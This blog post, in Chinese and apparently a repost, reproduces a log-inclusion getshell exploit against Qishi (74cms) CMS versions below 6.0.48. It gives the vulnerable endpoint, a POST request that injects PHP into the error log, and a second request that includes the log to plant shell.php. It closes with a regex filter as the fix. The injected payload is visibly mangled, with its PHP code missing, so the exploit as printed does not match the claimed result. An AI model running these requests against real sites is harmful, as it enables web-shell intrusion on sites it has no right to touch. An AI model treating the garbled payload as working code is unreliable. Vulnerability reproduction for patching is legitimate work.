ITPub博客

首页 > 数据库 > 数据库开发技术 > 骑士CMS 模板文件日志包含Getshell

骑士CMS 模板文件日志包含Getshell

原创 数据库开发技术 作者:逍遥子 时间:2022-06-05 08:00:00 0 删除 编辑

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。2020年年底被爆出模板文件存在注入可通过写木马进日志的方法包含日志Getshell。

🚴‍♂️环境

  • 骑士CMS(< 6.0.48)
  • PHP7.3 Mysql5.7 (推荐phpstudy)

🏆安装骑士cms

官方的下载包漏洞已修复,大家可以在网上查找这个版本的。这里我下载的是6.0.20这个版本。安装骑士cms

🍄漏洞复现

#访问url
http://192.168.235.141/index.php?m=home&a=assign_resume_tpl
#构造POST:
variable=1&tpl=“)?>; ob_flush();?>/r/n<qscms/company_show 列表名=”info” 企业id=”$_GET[‘id’]”/>

报错了,是正常的,就是通过执行语句出错来将我们的PHP代码插入到报错日志中 日志默认存放在\data\Runtime\Logs\Home\下,文件名以当天日期命名可以看到,当前的post请求已经写到了日志文件中。

接下来继续通过模板文件来包含进日志

#访问url
http://192.168.235.141/index.php?m=home&a=assign_resume_tpl
#POST请求
variable=1&tpl=data/Runtime/Logs/Home/22_06_05.log

此时在根目录下生成了shell.php

🎂解决方法

BaseController.class.php文件中assign_resume_tpl方法中添加判断

$pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource";

    if(preg_match("/".$pattern."/is",$tpl)== 1){
        return $this->_empty();
    }

更多精彩文章 关注我们

原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444381